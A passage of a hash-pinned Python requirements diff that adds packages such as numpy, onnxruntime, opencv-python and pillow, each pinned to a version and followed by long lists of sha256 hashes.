--hash=sha256:2625388c6c754520c37abaf3b41eb34d1cc4a373f457898f08606c8e362b891d --hash=sha256:87e50a3e7cb90af586b6c5faf23e302a970415ac73bd7bd90a515a04b427ef96 --hash=sha256:254eb48b9fa5ee9898a3c445825a1f340fe53712a098904b39b0bddba8ea3cb1 --hash=sha256:ed2a239c0ea213acc1908150a3037257083c7c083128f1a4cec2ec4b97dca491 --hash=sha256:b91363207bd9dc966a691e959bb47f64b30f7ac4b072be9968b366982f7db77c --hash=sha256:38a873987f3be698494da8b2e3085e29da02da7b633dce73e79c699a113d7bf0 --hash=sha256:355ad8011081dec5412240c087a9a0c9d4d5039f3ed11a3f13e18c2b29b56c51 --hash=sha256:ee21e28f0430bd6dc9086c6e525d5e818a44a5ad19720c8a0ef766792f3eb5e5 --hash=sha256:3d31298449090ab8d47b7b1b2a555ff73cac7ed438a08b7ac160980c7ebed649 --hash=sha256:5cde776b7cc66e4f6c99612cea4aa7269aa65863f7a15841b2c264f103822f4e --hash=sha256:ae4f5fea5b8b8ccff88238cc8569303e5ee95efae67fa62922a311397a71f346 --hash=sha256:f7d486c83842422badd511868fd8a9a20e9407ace71564b6af47ce7e60a336c1 --hash=sha256:11a4d68a6ecda3292cb1e50239e111543ba5d709bb62a6b4ea1afcfa729d8875 --hash=sha256:d6734d2ef8a50fbf8445c139477da401f50d62a0606bf00e20ec6d87773fefb1 --hash=sha256:a815775b6c38d4e0ff7bcffbeba67feded90202bb6a226b8dd35f1c855217413 --hash=sha256:23851fb4e1b85ed3f6c2a27b777cdfe2e19fb5b38429a8faf38c7542b7665869 --hash=sha256:db19d07e2e0129e974a0e65d0064fc222a446cd5122c2fd4184d2af9fc734a9e --hash=sha256:780fbe7cab297b81dad9fb8dc5eb003c0468ffb0d9e5f65068c53a34661a96bc --hash=sha256:e2af3aad578aa6bd1384bcf4750fc285e5a9de53f40b7d41e5a0bf748edeb2b3 --hash=sha256:ed905975ab14056a2e5eb1c376cb2e1ebc5396baf84163939c518556fccde9f5 --hash=sha256:a66c3bc5ab1f0ff2164fc9965ddd611ff0802173f4b9d24554c563f6ab7e1d6e --hash=sha256:d2374b62878abb00cd8309b32af6c0b715cd02dec0ca74ef12e5069bdc64144a --hash=sha256:d376bbd28b3a8999db1a103b3b388aee6f1ddeb3e51bc2172993efdcd86e064d --hash=sha256:6045373d5a89a5ec71afde535db987ca28e76dfa276c2d4c818265b375d4b055 --hash=sha256:849df64e889b2e17230d58410a03dba311a65b163508fd33679b2b737d4b7858 --hash=sha256:15c44f7edfd477b06f517a5cc317fc1707edb9de2c865f43d4b6513907473234 --hash=sha256:a89012d6d5476ee112d20d998570ed58df2260a852afb1758809cd6900411d21 --hash=sha256:0c951d5e6dd9c2ff60609476752bee49da4206adde960ebc247766937f72e718 --hash=sha256:7218e8f32b0956cfcd048fd42d9d5779809745ca1d86113ca56f66e7ae1549c4 --hash=sha256:a19a731138fc27d5682277d3b9df22855cea1239bce7fcec5f78f42ef2d1f3c3 --hash=sha256:62603db9a7caa0802eaa28c1c46fecd7b3a263a774069c24c3c28c302448721c --hash=sha256:b6856554c4f44d79fc2307d5768854310a8f0096e501c75637542c82292b0429 --hash=sha256:1bc0baf5ef96b6ede57d47f4b8fe4d9d84019c3bfcbeb20a41edc6a6ee341f1f --hash=sha256:56bc200a365efb37383b7852e4cc5898d3b2da5987289b543956cf8cad71018a --hash=sha256:2c9ad19a6cfcd5ea5c0d41161d22f9df1dcc277e9bef2751391334546a314c00 --hash=sha256:e243bd13217235fc7290c621941c3f5cc8b66e4872495be821d7436ba2fb838d --hash=sha256:a090bb2c68df85450502e3e20d665e3a5af9c65a84d6508ed477badd49166fd3 --hash=sha256:2b7b3bbfb4fe8ef40600792d762fbaa9057559f9d3fad209525b7a22b99e91fd --hash=sha256:78456a747de8dc58360ffa581f30a002baf5aa28cb262536545e91f113ed7639 --hash=sha256:11912e4bb14baae7c5d8791aa55ba0a3a03ec6729073307b0f57270abaa713d3 --hash=sha256:1afb975bd5d68d5ce9f6b6d44fdf2f7e34b895a35e95708a7a91b20a3b51d187 --hash=sha256:bbbfc8e28816f19d7c0f1816664980c0a9875d01b27cdf8eedddb639d9e108ad --hash=sha256:7967d08cf06dee78443b874f98c98036f624f3a4e73e11f9f64f5be4d25393cf --hash=sha256:4c2b5031f63e331e3839b40aed2dd6f191e9c07edbde303e7876846ea1946995 --hash=sha256:fcff63213e8e6e47770541a4607175404f47cbb3ebea7b6058cc82d524a0e424 --hash=sha256:8d86d6fc60743dc916eb79e2eb1ec4818e21e427731543af40a3021851174a13 --hash=sha256:7a881931aa470808df94a8c380eed2bbbc76cd9dc622310f99665658c821eb6d --hash=sha256:8024d00c3faf3fc0c16e07a69f4405e8eac7cc0ab15f65fe6cf43827c4cf72b4 --hash=sha256:4d48f2d08b9de5864e2c8744d4461b862fb149a18274abc8b698c45975573438 --hash=sha256:34276fd796040bf0993ab33a369aa572e6979c7aab225a88893667ad8eac8f7a --hash=sha256:0521c5665880b33d603717defa76c094048900010897909952397feb3039da56 --hash=sha256:eff0ac9dbe711a4aee69bf04a83896aa9b85f19641264053a9f6d48573abb7dd --hash=sha256:1503bccbeb36d5527790c3930327704c39af22de3112f1b1666a9f3ce15ee204 --hash=sha256:52aa6992700996af31f375de0c6bacd402b0097fe40b53c426b9f51a90ebabc7 --hash=sha256:e09a3942ecbdee5cce73ea9d42da82b81b72ac1bf031ce069b93b5adf4eac8cd --hash=sha256:c7c9ab723cde841fefb34efbad91e87f00a674b1fe1cd0784fde742bf2c154dc --hash=sha256:ddc7dacc8ece3a182e7f15cb862d1fd616b46d076cb1ae9dd232b2c38b655874 --hash=sha256:ee43c17b173d46a3212baa6ead3ae258eeabdae48c263a01ccf0218c366dd655 --hash=sha256:dca9ab98072a5a54ebacebdc45f53e645336b320c667410b061be1ca588ae709 --hash=sha256:f0aa869112ef88429ae17820d99c3dd9504c9e9c671d3c246f3d7442cb051084 --hash=sha256:c0afc6800ba57ccc350374c5bd6150419915d95ce93cdbab2d783d75eaf30ecb --hash=sha256:7dcd882da75ef9adf94903b1e3b9419e8aa8fb4c7396822b834b9ef7fb96954f --hash=sha256:2e06a3a98f916dd41d27f3105e02e7a40181c98c94b9158733d03a6f80506c09 --hash=sha256:6bd128f206a7752ae1f2ab6c61bf8a24ba28913a10df8b14c2637b973ff97a80 --hash=sha256:c8f3d67aeaf55f017982b73683f0e7342ba2f6635a78f69ce89ebb26aa411e5c --hash=sha256:fe9753dfee015c570d73df76f899f18444d41388bffcde097deba51c4fadbb9f --hash=sha256:92888bb3187c5ba50500b00b3b310c9f2c651709d28036077680cb5255450a03 --hash=sha256:d008d90a7f2471519aef0c90dfbe73b3e6e4d5e66ac48e19154c17e89e98b604 --hash=sha256:31f3930700408d211f13378ccbe1c40845d8da54bd0681fac3a9b5aae81c7aa8 --hash=sha256:2a925889534b3748302dae5dead07cc13480de1dac3aea80a941b729b471ef93 --hash=sha256:f5ec61164adcec446f8969a3358ec3f9b26bbda3b9213e5586d219afa8df2915 --hash=sha256:598a11a2c7ebaa5334bf698bf29568c9c390abac6a154d8170fedecd1cea38c5 --hash=sha256:7fdde2c9fd9e3eca40631e024664cf2584272cc8f96308cbe5fdfc930f51d8bc --hash=sha256:d1befeed746d247c81127bb14de9dc3d30edb6e5976d34f83f86ed262b1d9105 --hash=sha256:4f87960d57feabfb618e4e0af6e7371645fa26a277860739d6e5d6e0012c92f0 --hash=sha256:e4e81e09c1578b8df602e3db08b0b3ea0a6947ad612f52bf8dc5ea8d47691f0c --hash=sha256:80d02b6f04e92601a081dd97b23d3128033098bff5d35d392ddcc0476ea11253 --hash=sha256:87475fabc8d9996fd9c27debb395e642e8c838d78a00b6e932227a0e06b81e26 --hash=sha256:9409a8bf35cf78353942504b24a57de3d75b708997a1e4bd8db71ac8633ce364 --hash=sha256:498dc3188ca05a68231ac3fdbfc7f57eb67e1343c30e0fea17f8218c1599b253 --hash=sha256:e242bb1c5e76e97dfa9e7f209a71e93a01d7f19ffdd5cfbb2e2d55b4f08f8ab0 --hash=sha256:def79fa35ef0cef8d2accec024f4fdc7ead3012ff02f5215c783f39f03ef8cfc --hash=sha256:3df041de8887954562c9b261cba85ca0e9ded74048daf125f45edcfaa4832229 --hash=sha256:04851f73ae72b8413dddadb16a49dfee95263553741fd42d546f7d66907e6be5 --hash=sha256:183b88127acdb4fabe59d951ab424faf1af7b63cdbb5f776186c1ea2ffcaed98 --hash=sha256:16fa0eccf81304b79c5cd87f9271c3b85dd9dd99245e4422ae9c0dd45e0f99d3 --hash=sha256:7441d755b7ab94f8d4eb3e43ec05482d760842fd263d003a99102d742cd835e2 --hash=sha256:ca403d7e4798f525fdfc78e258820419cbbd0f0ecbab9de7840e3c017cf6b8cf --hash=sha256:df29a0a7107f7011e77f4eebdddec4c7331e24d787a0b21a46d63bdf7445da95 --hash=sha256:f3c96f633825733f735c5a9cf21d21a257d8e1edf0b1cee0a064b9c424ca0f7d --hash=sha256:915563965d418f986e7e145accc592eae9e1a1be3566ff98a05d7a9ec42a76e1 --hash=sha256:65cd72beeeca9d3aaea1201e5923859f308f952f9c71de93f06063c79f0f7a3b --hash=sha256:b7fd005a73d9e657273b7a10dc71a9e03c8fb9ee6999798d6918ce095b81ac7f --hash=sha256:e54da4baf05720032d527874d40b65fa4d7e5c6c6a43d0c3adbeffcaf275a2b3 --hash=sha256:124fbf1a8ff966d87ae05bb8bd45a71f966055ed8bba320d0c7cf450bc5f4d0e --hash=sha256:28b4f0d66fb834ff90f28209ac7bce77868c45d8c93e26f906709d9b7c2e1af9 --hash=sha256:58ca3755ee7ff7f59b57789ec9833c9de9ea275405cdd240eda1f193112e398a --hash=sha256:443eae2bf318abeaf6f15d785138f71fd6de770e99a92158b8b814265e079115 --hash=sha256:58f361dcbab699cf8f42db3f47c8e7fd1036f138c23a5d08de9fde5f425a730c --hash=sha256:1b4cbc7c3491ccb4aa17fcd8165649d01cf39f76de1696da8631b5f71b85401d --hash=sha256:ba0b1d2620edf869789c3879223f52bf2afc5d31b3cb47cc57b3a12c05e2aa9d --hash=sha256:5e2b6b57e9733d39f0c9fd3185efa6b8e29652c4cd8fe94180272cf6ed9a78c4 --hash=sha256:51cf45226a9b588d0d2b4880c62d686934b63ab0bd79ca23ab0e9762eb27441b --hash=sha256:5fb29fb8cd1a46c27a1bf9613ad5ec2599310d46b4025d9556404a6b6a292800 --hash=sha256:a192e2c40070d92c3ccf777e3a5c4ff515573cd2bb7ed0c537fdadbbec5bbf21 --hash=sha256:749e97e1b32313717a565abbe321bc2190bc8b35f1a67e4cdbc7c56c8d8ffe58 --hash=sha256:281cb91036248400f4cc957495cccd44c275c2e0c5854f7e45ac5cf7dc193847 --hash=sha256:89b53f3cda69831909888e0494f4fa0bcd3537e3e138dabeb620bd6ad946bae8 --hash=sha256:6be488a102b8cf28d0391d8c4ba7748938ae28b78ad901f8585520fca33ead1a --hash=sha256:4275811936e2f06feff5e598fb42a1b7ae852da8e39605211892b56b81a34efd --hash=sha256:1c50fe28bbc2ced33386f298650d91218076c05420e6cbd790b913adc41659e7 --hash=sha256:d19fbd981a488e22cd04883659ca6b08f50b5974f9fd7c95655ef6a043e5893f --hash=sha256:0fed1d06615f022ee3b13caf5e8b180cfea32bb2c5aded8a9d44277afc040f93 --hash=sha256:838dcc90063569a0448120554591a1d6c4a4ffe11babf048908793154ab86ade --hash=sha256:2ce45c6627b22c47e390bc91a41c3d13032192e699fa0bea96e9671b373d69b0 --hash=sha256:0774bf9bf620249fee3e0b8b9fd3065de213be30f3aa94ce2494b3b638949e26 --hash=sha256:1db38f4c5496827c1a501846d64d14c3b80c7e6714e406cd7dc36a9899fa1011 --hash=sha256:304d8e4d493af723536393eee0c689eb7813f4a474c8b479dee63f1fdd98f621 --hash=sha256:9b7f416ff0978e2f2249330527f0ad6fa02f4932e6199692d3b52da2048c19e4 --hash=sha256:01077390b03f7988f11d700a2194e69b119741a86b1a638b1db88891e3eced8e --hash=sha256:7e841fb9010836c992c9f12fcbd43a831de93a5f726fc1ccd8ca1d0268c5014c --hash=sha256:9cae88599c7219005d879f98e5ed53341e9a122af585e1091200358a3003d2a0 --hash=sha256:01b0c0d2262a9e28e8484a278c7e1b5d650e3ac8cf2683d2967e25899f208bdf --hash=sha256:9f56f72050826f63dcee7a7f55b0a77168cb3bfc553fd405e7f8f9ece75a4036 --hash=sha256:40ab6bffa02ae10a0581e6c198be7d2d8ca5c2a0c64e4ed3465d766df457573e --hash=sha256:75a3ceed0724d625d64b86ca20aba182e4df462e04c2414fc941c0f523f06aac --hash=sha256:0891b9d3903c5571c03771ca669a4b0ec5618ca722a5c957d3d29cd4e5062848 --hash=sha256:fc14a032f813bf5fe624d991960ea83e9715adc27e4c1830a2361eb1d02ac341 --hash=sha256:8b2bfab86aa71ae13aa41a6a26aab338e0db2b8bc75434b05aea89e011ff35a4 --hash=sha256:9bde855991b7e362c146535e3136a50bfaffc0487d38b33ca7e5edefc6e23849 --hash=sha256:55ea99acb17b9325618de155a0cd6a2e8f5d10be008113e1d433bbb58db543b2 --hash=sha256:68eb192d85ab8e5f6ec69c2bc6ac0179fbf04a5ac1569d12fbef74883fe102d0 --hash=sha256:d913de495d90407cd859d263bee2e5d1a4ed3eb6573c04e70d9ec619a7cbed7f --hash=sha256:3ddacd27458c45bdacd6bd6db644bfb730efbf9e830310186e3045c9c5be8fb2 --hash=sha256:588461c2e8384d309bd63e5826019b6977bc66d629b99ac8737bb795d7b2cb5a --hash=sha256:e80e6c2f55656b4824d72065abb4ddd6a525c74bd78a0aab5d9fc2cf4fb5af50 --hash=sha256:d4a7319f304a774bed22115bc891618e45f85065ab44ea6acd07d274e750519a --hash=sha256:fd1fbe0f116b6e55da77aca2c6ddcddcfac2186cbf78bdebf40fc156efca389d --hash=sha256:93223adc95033dd47133a46ccfc316a0139176fd79085762e27202ec56018f03 --hash=sha256:15bb4005af6320d259dc7593ca84a38d7fe06a421dbcf7b910ae23979101e787 --hash=sha256:2cc961b171b3f3440f410489ab3573e86aea8736134ebbb40ea1338b7f0831bc --hash=sha256:b6b751274acb69d77b3323d6b7dbaa3c7fdfc1eb829b7eb61d262f32e1af9685 +colorama==0.4.6 --hash=sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6 +colorlog==6.12.0 --hash=sha256:30d392604e9110045a2c2aeefc27d7a017abbab63f3a8aee594eac0801df784e +defusedxml==0.7.1 --hash=sha256:a352e7e428770286cc899e2542b6cdaedb2b4953ff269a210103ec58f6198a61 +flatbuffers==25.12.19 --hash=sha256:7634f50c427838bb021c2d66a3d1168e9d199b0607e6329399f04846d42e20b4 +idna==3.20 --hash=sha256:ab7ae7122974553370f0bdb919e1a960b2cd1bc1ef0276416d896db81c14582c +mpmath==1.3.0 --hash=sha256:a0b2b9fe80bbcd81a6647ff13108738cfb482d481d826cc0e02f5b35e5c88d2c +numpy==2.5.4 --hash=sha256:c6342f54c67093cae5c0227eb0eb772fdb79f2a2c37a6eb278b9909ee06aa356 --hash=sha256:b11e8fda06a7d69f15ebf542660b74466c2e51094800c1fb794f47ad4faeef17 --hash=sha256:9cb18a327b49c5c337f972b03682f6a49855525faaf3c0d3e9c96cd0fd8880a8 --hash=sha256:aec3fc4b32ff82421274f5d205c559c51c840c8df66a78efd7f3612dd005a26a --hash=sha256:fe4d21ab149f15e4e6043dfb0de87e6e5f34ac176cde83060e9802981fca2ac2 --hash=sha256:fbde6962867ee75b48b0ee29b2b9372ec5d617799dbaf38e82dc0596f2f7738a --hash=sha256:381a7a3d2e65e64c0ec302795ab9dc12bb1e73f150904699c153716177eebdaf --hash=sha256:b89d0aaae2fe498c648f4c4795c084db535af5bd98ef942b2a3681fb74ce8645 --hash=sha256:9968ab7e49b93ac6e1c3b2239732183152c9150f16308d30b66a372cffe3483c --hash=sha256:a7b1b6353e36a7e50de2973a38d705c88ee93adcf120673cee7f45a4a3fa223a --hash=sha256:aa1cce2ff3f8d953de38b76bf44602caeb69f101430208f64a10067f7cb4b1d3 --hash=sha256:2377da2dd3ba2c1200956acbab2a358c83b8e1f8531191672d1cd6ad83250d53 --hash=sha256:7415db95818b39ec475a5eea54d9e3b6bc83e3912158e46da3438cdce399804d --hash=sha256:6d6a71b9d9a97c03633aa12565ef2825ffa036cc1d99cfd50dacf0f128af4fe2 --hash=sha256:d8200f16437b289a5bb927c6e184eccc3e8389bc0070fea4cd5b9e13c1757959 --hash=sha256:1c2e71b04c6cad90026e544501bbe0ab9290fa8a4d845e7e8c0d124fb429c988 --hash=sha256:6ffa07666f8da0eef81d149934a626d0d95fbd6838432a33e66245423a9062c0 --hash=sha256:2fa3328f784fc8277fc48026f6cad516f5c561c5d8e2e39b3c9e0c8f23223b34 --hash=sha256:b86966fbe4ad7de710422175572bcdc75fdedadfb54bc6fab7deabccddd7780b --hash=sha256:5258bc06526964be5face2fc6f756857a3f24f21ec3e72ca131337a75b165d6c --hash=sha256:8b4d2fd2d34e5f8c9235ee787de5631a37a28402b15cb80814df973d2be54129 --hash=sha256:bc39ac66a7a9a3fbd6134fda43136b60ffde99c8f4501e64e0d2b24da137babf --hash=sha256:c668b2f0d651605b58892644b0e302c7157f7159544227758c896982ef384b18 --hash=sha256:ffa6ce09a1c6a08e9667dd9c97aa0b14184e8d18f2a14b78b2a2328c9147f076 --hash=sha256:956555e0603a4d38019ae6925711cb9dc43195c076a928accf7ea5d50bddfe53 --hash=sha256:2c2c4afffdeb7920e445028dd71eb932cac3e704792e964bc2a232426d4f1255 --hash=sha256:4054173604cd8658796053f1f3bc0befb68ec1c0762c57fdad61e199256a8617 --hash=sha256:d549420b8858885cea8838a727842249218b9c1da24dd517e25c9c7a948310a3 --hash=sha256:823874a507a84af050493b622affde94b6f7c3a0dc22cb2801381bc03b871c00 --hash=sha256:4e263278bfb5ee6409db8aedbc4cc32973b1b82bc1e8d3c668551d04d83a7e37 --hash=sha256:1ef3aa6d7e29bb13677323114280b05acc57607fa2300e66432d665d5418a162 --hash=sha256:98b053943e5a0474ec0da309d2cb9d3f18ea57f8a2067c2ab7b5f763d1068380 --hash=sha256:b64a85f40e154983960a4167d4c1d57a50c7f109b3d3264a3a984154e90a8454 --hash=sha256:a813ed7719bf45463c51779e6a98d0385fe905e48447526938a4b8337333d551 --hash=sha256:c9b80cdf5cedba0e90d93fa5f9a333c4d65bd545cd669b71bb97ce2b703c9d73 --hash=sha256:2199ed071f460487c8db2c0e5c0b564494190edb4772fe80f9aad88b2604def5 --hash=sha256:64f9c9878c1938476365e11ccfb6b770f3b9e5f045ccddc514235041e6959365 --hash=sha256:64d1c8ac28a4077cf987e0a71a7a0ef7e2df70722f07f0baa42dbb7eb6938647 --hash=sha256:067374eb538c34c745436365cf7b0112595c1d326f21ce4ff340f61230239fbb --hash=sha256:e94aef2c639da4a960ad0db8e06471208d8589974953d78b61d345b4eb99e394 --hash=sha256:cfd73180400042a7c532d30c5e287bdd03c59ff9ee1b4c0316af0539e29dfe23 --hash=sha256:2ca144f15135b6212a5c47b1e2aeca6e412f102f95a2d5d88d8aec77eb255de3 --hash=sha256:468397ba3c64427474706e5c9123fe266395496714dc684294eac75cd4930d1e --hash=sha256:8dddfbee2e68d26d0d7d7d9cb247b1fd4409241cce32d815a11d97ec2cfde179 --hash=sha256:81e3420b27048b65eb14c3acf0c174a8cb0e023277716110347d2dcb26026dad --hash=sha256:0b4724a19de67bea8cfc4970798efa78bcbbe2ac2613cfac16721a42d44de2a5 --hash=sha256:2132418bf8dd124a427ca9e6a1daf9ee1a87185344c95119ceae868b99466da1 --hash=sha256:325518d4245b9e331387702aa58c2ce1dc4cdcbb41dfb4ccd5dcbc7e08db1266 --hash=sha256:56733449d2544178beaa4545cee357370440cf056c197f9c7bfb19dbfdd0e86d --hash=sha256:5ec3753760c1a6d8bb91200666e545c3a9728e6269dfb5d6ce02340996698aa3 --hash=sha256:b1185012870173de7ae33d370bd45b1cf5baee747ea4b97036b65f4e93016877 --hash=sha256:950ea81d57ef070665581b6e1b5f6a029306423cd1739c5b95fe78aa30db6b9d --hash=sha256:c05ede731b03fb1b7591faca9389ade3267d2bddf1ad8882bb3f2cc5e101694f --hash=sha256:5fbf7141bbfd63aea22f435c9062a032b9ea0082fe9845dad7f021d3f1234e71 --hash=sha256:3573cd22564692a5b899ec344e5d5b9cc4576f2985b96f22af3564ed54f2710f --hash=sha256:6c109eac9cd439193678f69d70733c1108487546ca8eafc107b510ae10c1aecd --hash=sha256:80d6ef6e8620eb2c2b4c4caad50b5935d6db3cde2d51581b55dcc79e14016d1d --hash=sha256:77045a4b175bbf5316ec08003880804336c78f92281a1b72222b274ea85ec5ac --hash=sha256:0f02a46e49cfb6c73bdb7aea1c0d3461dbae9aba613542b65f657cd3d17b9fab --hash=sha256:ad62a416ddcf863bf44bba76fbf6b53366ab0692e294f51cae4b5fbe0d246788 --hash=sha256:38f47be9f74ab870d2633b5456ae519c43758a8d1fd05342f0ce4ecc034396ee --hash=sha256:7a14a461d9340f1b46b8648578aed9cdb8b3b018a8fac6c1dde2c9192a01a87f --hash=sha256:298eca75243f2cbbfdb460560b9fb2a1792a33cf2ab4286efd43d92e8d3df508 --hash=sha256:332f3378fe077dd850e677ec01bdcc4f22368fb5d50ef10b2c79230b1bf5a592 --hash=sha256:d4cccbbc78717966f764cd3af4fb70276fa01fc7a2688af11c78901fa5c04f05 +omegaconf==2.4.0 --hash=sha256:f141a664c777582405e3cc6e0545ecc79429e79f844995b1a6e71c35946a025c +onnxruntime==1.24.4 --hash=sha256:0bdfce8e9a6497cec584aab407b71bf697dac5e1b7b7974adc50bf7533bdb3a2 --hash=sha256:046ff290045a387676941a02a8ae5c3ebec6b4f551ae228711968c4a69d8f6b7 --hash=sha256:e54ad52e61d2d4618dcff8fa1480ac66b24ee2eab73331322db1049f11ccf330 --hash=sha256:b43b63eb24a2bc8fc77a09be67587a570967a412cccb837b6245ccb546691153 --hash=sha256:e26478356dba25631fb3f20112e345f8e8bf62c499bb497e8a559f7d69cf7e7b --hash=sha256:cad1c2b3f455c55678ab2a8caa51fb420c25e6e3cf10f4c23653cdabedc8de78 --hash=sha256:1a5c5a544b22f90859c88617ecb30e161ee3349fcc73878854f43d77f00558b5 --hash=sha256:0d640eb9f3782689b55cfa715094474cd5662f2f137be6a6f847a594b6e9705c --hash=sha256:535b29475ca42b593c45fbb2152fbf1cdf3f287315bf650e6a724a0a1d065cdb --hash=sha256:e6214096e14b7b52e3bee1903dc12dc7ca09cb65e26664668a4620cc5e6f9a90 --hash=sha256:e99a48078baaefa2b50fe5836c319499f71f13f76ed32d0211f39109147a49e0 --hash=sha256:dc4aaed1e5e1aaacf2343c838a30a7c3ade78f13eeb16817411f929d04040a13 --hash=sha256:e30c972bc02e072911aabb6891453ec73795386c0af2b761b65444b8a4c4745f --hash=sha256:1700f559c8086d06b2a4d5de51e62cb4ff5e2631822f71a36db8c72383db71ee --hash=sha256:4c74e268dc808e61e63784d43f9ddcdaf50a776c2819e8bd1d1b11ef64bf7e36 --hash=sha256:3b6ba8b0181a3aa88edab00eb01424ffc06f42e71095a91186c2249415fcff93 --hash=sha256:71d6a5c1821d6e8586a024000ece458db8f2fc0ecd050435d45794827ce81e19 --hash=sha256:fbff2a248940e3398ae78374c5a839e49a2f39079b488bc64439fa0ec327a3e4 --hash=sha256:e2b7969e72d8cb53ffc88ab6d49dd5e75c1c663bda7be7eb0ece192f127343d1 --hash=sha256:14ed1f197fab812b695a5eaddb536c635e58a2fbbe50a517c78f082cc6ce9177 --hash=sha256:aa12ddc54c9c4594073abcaa265cd9681e95fb89dae982a6f508a794ca42e661 --hash=sha256:e1cc6a518255f012134bc791975a6294806be9a3b20c4a54cca25194c90cf731 --hash=sha256:311e309f573bf3c12aa5723e23823077f83d5e412a18499d4485c7eb41040858 --hash=sha256:3f0b910e86b759a4732663ec61fd57ac42ee1b0066f68299de164220b660546d +opencv-python==5.0.0.93 --hash=sha256:198a75138241810206a17c829dbcc40a7cb1841cda538ca86cbbfc6c7d95f898 --hash=sha256:6bbc32f59e1b1a7db7b39c81f63d00625f041d333037fd8702f6da52cc39108b --hash=sha256:e2b4272e736836f66c2d176e43ab8101f3a00d45654916399f52e150c58981ac --hash=sha256:f8b6d0a212253dd26ad338c812f1f23ca118fdf05a9c8c6b9444f161aa8c5881 --hash=sha256:08d5d91d967b58d6db86073b2ad3eaef88ca4ebdfd45c9059bf59f5ded0c7ad2 --hash=sha256:c8de2dec111122a02e8beb28e16c31904992dfd6186560b142a92c71403c1039 --hash=sha256:4b4b1a34c79bf8d3738e3cfe9a9e67b51a79663f6b692cbdad8c31f570da4157 --hash=sha256:f90ba04b8f73bc5c3814037699739f0156f597338a98f05956c684e7c3ca10d2 +packaging==26.3 --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c +pillow==12.3.0 --hash=sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a --hash=sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7 --hash=sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f --hash=sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec --hash=sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468 --hash=sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed --hash=sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1 --hash=sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb --hash=sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f --hash=sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756 --hash=sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 --hash=sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd --hash=sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd --hash=sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c --hash=sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5 --hash=sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b --hash=sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a --hash=sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26 --hash=sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965 --hash=sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7 --hash=sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9 --hash=sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91 --hash=sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c --hash=sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df --hash=sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f --hash=sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09 --hash=sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510 --hash=sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89 --hash=sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace --hash=sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec --hash=sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66 --hash=sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f4089111fb35 --hash=sha256:f7401aebd7f581d7f83a439d87d474999317ee099218e5ad25d125290990ba65 --hash=sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3 --hash=sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a --hash=sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e --hash=sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f --hash=sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8 --hash=sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b --hash=sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330 --hash=sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217 --hash=sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930 --hash=sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8 --hash=sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56ddd3ad0 --hash=sha256:e9aeb04d6aef139de265b29683e119b638208f88cf73cdd1658aa07221165321 --hash=sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b --hash=sha256:fe3cca2e4e8a592be0f269a1ca4835c25199d9f3ce815c8491048f785b0a0198 